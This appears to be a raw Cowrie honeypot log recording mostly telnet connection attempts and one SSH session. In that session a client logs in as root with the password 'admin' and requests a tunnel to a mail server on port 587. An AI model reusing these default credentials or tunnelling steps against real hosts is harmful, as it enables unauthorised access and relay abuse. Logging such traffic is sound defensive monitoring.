{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:43.064808Z","src_ip":"181.65.191.218","session":"c112d4c3a6da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48770,"dst_ip":"10.17.0.5","dst_port":23,"session":"f841e9915f33","protocol":"telnet","message":"New connection: 94.46.12.68:48770 (10.17.0.5:23) [session: f841e9915f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:43.624303Z"}
{"eventid":"cowrie.session.closed","duration":30.66962242126465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:46.387503Z","src_ip":"146.185.21.169","session":"dc5e9b25763c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":37594,"dst_ip":"10.17.0.5","dst_port":23,"session":"efd40d573a67","protocol":"telnet","message":"New connection: 62.72.47.216:37594 (10.17.0.5:23) [session: efd40d573a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:46.920129Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":38810,"dst_ip":"10.17.0.5","dst_port":23,"session":"dba248b46630","protocol":"telnet","message":"New connection: 146.185.21.169:38810 (10.17.0.5:23) [session: dba248b46630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:48.892498Z"}
{"eventid":"cowrie.session.closed","duration":31.12853741645813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:49.216295Z","src_ip":"62.72.47.216","session":"bdcbf1c17a1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.375347137451172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:49.222671Z","src_ip":"62.72.47.216","session":"bb9641ad2454","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027053594589233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:49.294293Z","src_ip":"94.46.12.68","session":"1fe8fad08487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146671533584595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:49.801080Z","src_ip":"94.46.12.68","session":"5fee7ef9a257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95948362350464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:50.048721Z","src_ip":"146.185.21.169","session":"0952341414a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":45688,"dst_ip":"10.17.0.5","dst_port":23,"session":"418580fe927f","protocol":"telnet","message":"New connection: 62.72.47.216:45688 (10.17.0.5:23) [session: 418580fe927f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:50.361502Z"}
{"eventid":"cowrie.session.closed","duration":31.38072395324707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:50.954971Z","src_ip":"94.46.12.68","session":"594637dfb3fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31825304031372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:52.139526Z","src_ip":"62.72.47.216","session":"1484285d53f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793402194976807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:52.344899Z","src_ip":"62.72.47.216","session":"5c161dad1946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":42410,"dst_ip":"10.17.0.5","dst_port":23,"session":"3de28a88f83c","protocol":"telnet","message":"New connection: 146.185.21.169:42410 (10.17.0.5:23) [session: 3de28a88f83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:52.730804Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40242,"dst_ip":"10.17.0.5","dst_port":23,"session":"80e2832b3bf8","protocol":"telnet","message":"New connection: 146.185.21.169:40242 (10.17.0.5:23) [session: 80e2832b3bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:52.976647Z"}
{"eventid":"cowrie.session.closed","duration":27.341822385787964,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:53.036392Z","src_ip":"146.185.21.169","session":"9a76854d730f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893720626831055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:54.231914Z","src_ip":"62.72.47.216","session":"271405139fcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.504305839538574,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:54.944682Z","src_ip":"103.115.172.252","session":"6fb6ff185862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.560341596603394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:55.629587Z","src_ip":"94.46.12.68","session":"e95ff112b455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":51966,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93ea593bbb7","protocol":"telnet","message":"New connection: 103.82.231.165:51966 (10.17.0.5:23) [session: f93ea593bbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:55.714828Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":49404,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6dc9f64a963","protocol":"telnet","message":"New connection: 94.46.12.68:49404 (10.17.0.5:23) [session: d6dc9f64a963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:56.014678Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":43334,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8512f0718cc","protocol":"telnet","message":"New connection: 146.185.21.169:43334 (10.17.0.5:23) [session: c8512f0718cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:56.747996Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46392,"dst_ip":"10.17.0.5","dst_port":23,"session":"4339c0121027","protocol":"telnet","message":"New connection: 146.185.21.169:46392 (10.17.0.5:23) [session: 4339c0121027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:57.028248Z"}
{"eventid":"cowrie.session.closed","duration":32.89272332191467,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:57.061563Z","src_ip":"146.185.21.169","session":"b5cfbef36c63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":60426,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4c9c6a41859","protocol":"telnet","message":"New connection: 62.72.47.216:60426 (10.17.0.5:23) [session: b4c9c6a41859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:57.568906Z"}
{"eventid":"cowrie.session.closed","duration":32.96976161003113,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:57.628102Z","src_ip":"146.185.21.169","session":"3e7fddf943f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":32810,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5bf0eddc00d","protocol":"telnet","message":"New connection: 62.72.47.216:32810 (10.17.0.5:23) [session: d5bf0eddc00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:57.798462Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":35156,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa08f14e7973","protocol":"telnet","message":"New connection: 146.185.21.169:35156 (10.17.0.5:23) [session: aa08f14e7973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:58.343317Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":54460,"dst_ip":"10.17.0.5","dst_port":23,"session":"64dea43a78d4","protocol":"telnet","message":"New connection: 94.46.12.68:54460 (10.17.0.5:23) [session: 64dea43a78d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:58.576564Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":51964,"dst_ip":"10.17.0.5","dst_port":23,"session":"5637a853d7ee","protocol":"telnet","message":"New connection: 103.82.231.165:51964 (10.17.0.5:23) [session: 5637a853d7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:58.818273Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":48738,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe96d8e34867","protocol":"telnet","message":"New connection: 146.185.21.169:48738 (10.17.0.5:23) [session: fe96d8e34867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:59.230067Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":49638,"dst_ip":"10.17.0.5","dst_port":23,"session":"62095a9b3910","protocol":"telnet","message":"New connection: 146.185.21.169:49638 (10.17.0.5:23) [session: 62095a9b3910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:59.974675Z"}
{"eventid":"cowrie.session.closed","duration":30.31711196899414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:01.048413Z","src_ip":"146.185.21.169","session":"fa155b7503d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51328,"dst_ip":"10.17.0.5","dst_port":23,"session":"68c3f9fd3e9a","protocol":"telnet","message":"New connection: 146.185.21.169:51328 (10.17.0.5:23) [session: 68c3f9fd3e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:01.388597Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":60048,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8fd541fd770","protocol":"telnet","message":"New connection: 94.46.12.68:60048 (10.17.0.5:23) [session: d8fd541fd770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:01.620185Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":33190,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e92821ca0a3","protocol":"telnet","message":"New connection: 94.46.12.68:33190 (10.17.0.5:23) [session: 4e92821ca0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:02.008702Z"}
{"eventid":"cowrie.session.closed","duration":31.13874912261963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:02.106223Z","src_ip":"146.185.21.169","session":"e7d5f9d02b46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":33560,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbd28bdd1d41","protocol":"telnet","message":"New connection: 94.46.12.68:33560 (10.17.0.5:23) [session: cbd28bdd1d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:02.212218Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":60254,"dst_ip":"10.17.0.5","dst_port":23,"session":"962757725d36","protocol":"telnet","message":"New connection: 94.46.12.68:60254 (10.17.0.5:23) [session: 962757725d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:02.595516Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":28694,"dst_ip":"159.203.135.109","dst_port":22,"session":"9184f6e1e8d8","protocol":"ssh","message":"New connection: 193.46.255.86:28694 (159.203.135.109:22) [session: 9184f6e1e8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:04.158043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:04.164641Z","src_ip":"193.46.255.86","session":"9184f6e1e8d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:04.302793Z","src_ip":"193.46.255.86","session":"9184f6e1e8d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":38394,"dst_ip":"10.17.0.5","dst_port":23,"session":"947a3b113a0b","protocol":"telnet","message":"New connection: 94.46.12.68:38394 (10.17.0.5:23) [session: 947a3b113a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:04.712595Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:04.928586Z","src_ip":"193.46.255.86","session":"9184f6e1e8d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:05.075577Z","session":"9184f6e1e8d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:05.218552Z","src_ip":"193.46.255.86","session":"9184f6e1e8d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:05.359847Z","src_ip":"193.46.255.86","session":"9184f6e1e8d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":56396,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9a8c80eb100","protocol":"telnet","message":"New connection: 146.185.21.169:56396 (10.17.0.5:23) [session: e9a8c80eb100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:05.429658Z"}
{"eventid":"cowrie.session.closed","duration":34.349600315093994,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:06.356340Z","src_ip":"146.185.21.169","session":"ea4a723ea660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":43954,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6766f88d2a1","protocol":"telnet","message":"New connection: 94.46.12.68:43954 (10.17.0.5:23) [session: a6766f88d2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:07.436922Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":44090,"dst_ip":"10.17.0.5","dst_port":23,"session":"a168cd54082f","protocol":"telnet","message":"New connection: 94.46.12.68:44090 (10.17.0.5:23) [session: a168cd54082f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:07.550799Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":59482,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3c59741f747","protocol":"telnet","message":"New connection: 146.185.21.169:59482 (10.17.0.5:23) [session: c3c59741f747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:07.865871Z"}
{"eventid":"cowrie.session.closed","duration":0.00800633430480957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:07.873712Z","src_ip":"146.185.21.169","session":"c3c59741f747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.79794454574585,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:08.789484Z","src_ip":"146.185.21.169","session":"bd063993680a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48048,"dst_ip":"10.17.0.5","dst_port":23,"session":"44f58c52b9a7","protocol":"telnet","message":"New connection: 94.46.12.68:48048 (10.17.0.5:23) [session: 44f58c52b9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:09.364427Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.118.172","src_port":56534,"dst_ip":"10.17.0.5","dst_port":23,"session":"414eca731aac","protocol":"telnet","message":"New connection: 43.134.118.172:56534 (10.17.0.5:23) [session: 414eca731aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:09.516424Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":60228,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca564c45020","protocol":"telnet","message":"New connection: 146.185.21.169:60228 (10.17.0.5:23) [session: 7ca564c45020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:09.610518Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":33708,"dst_ip":"10.17.0.5","dst_port":23,"session":"c42e2a612ed3","protocol":"telnet","message":"New connection: 146.185.21.169:33708 (10.17.0.5:23) [session: c42e2a612ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:11.085865Z"}
{"eventid":"cowrie.session.closed","duration":13.701263189315796,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:12.044256Z","src_ip":"146.185.21.169","session":"aa08f14e7973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":56438,"dst_ip":"10.17.0.5","dst_port":23,"session":"d06c3d6bd7fe","protocol":"telnet","message":"New connection: 94.46.12.68:56438 (10.17.0.5:23) [session: d06c3d6bd7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:13.357613Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":57194,"dst_ip":"10.17.0.5","dst_port":23,"session":"0074178514a0","protocol":"telnet","message":"New connection: 94.46.12.68:57194 (10.17.0.5:23) [session: 0074178514a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:13.724586Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":37028,"dst_ip":"10.17.0.5","dst_port":23,"session":"0180f99aaede","protocol":"telnet","message":"New connection: 146.185.21.169:37028 (10.17.0.5:23) [session: 0180f99aaede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:13.900126Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":37242,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c90b1f0443b","protocol":"telnet","message":"New connection: 146.185.21.169:37242 (10.17.0.5:23) [session: 7c90b1f0443b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:14.088876Z"}
{"eventid":"cowrie.session.closed","duration":30.61920690536499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:14.243360Z","src_ip":"94.46.12.68","session":"f841e9915f33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":57864,"dst_ip":"10.17.0.5","dst_port":23,"session":"72931eb6e717","protocol":"telnet","message":"New connection: 94.46.12.68:57864 (10.17.0.5:23) [session: 72931eb6e717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:14.958938Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":38746,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c7128af965e","protocol":"telnet","message":"New connection: 146.185.21.169:38746 (10.17.0.5:23) [session: 6c7128af965e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:15.480966Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40084,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e61327f82cf","protocol":"telnet","message":"New connection: 146.185.21.169:40084 (10.17.0.5:23) [session: 9e61327f82cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:16.443154Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40102,"dst_ip":"10.17.0.5","dst_port":23,"session":"366c1ea96542","protocol":"telnet","message":"New connection: 146.185.21.169:40102 (10.17.0.5:23) [session: 366c1ea96542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:16.461256Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34944,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f6f28f8d061","protocol":"telnet","message":"New connection: 94.46.12.68:34944 (10.17.0.5:23) [session: 2f6f28f8d061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:16.485724Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":41754,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f934990d6a3","protocol":"telnet","message":"New connection: 146.185.21.169:41754 (10.17.0.5:23) [session: 1f934990d6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:16.647317Z"}
{"eventid":"cowrie.session.closed","duration":31.469127893447876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:18.389118Z","src_ip":"62.72.47.216","session":"efd40d573a67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.63825702667236,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:19.109701Z","src_ip":"146.185.21.169","session":"93b64d97ba31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":54946,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4b1e9a7969d","protocol":"telnet","message":"New connection: 103.82.231.165:54946 (10.17.0.5:23) [session: a4b1e9a7969d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:19.239957Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":54930,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f0dfd93aa05","protocol":"telnet","message":"New connection: 103.82.231.165:54930 (10.17.0.5:23) [session: 6f0dfd93aa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:19.249241Z"}
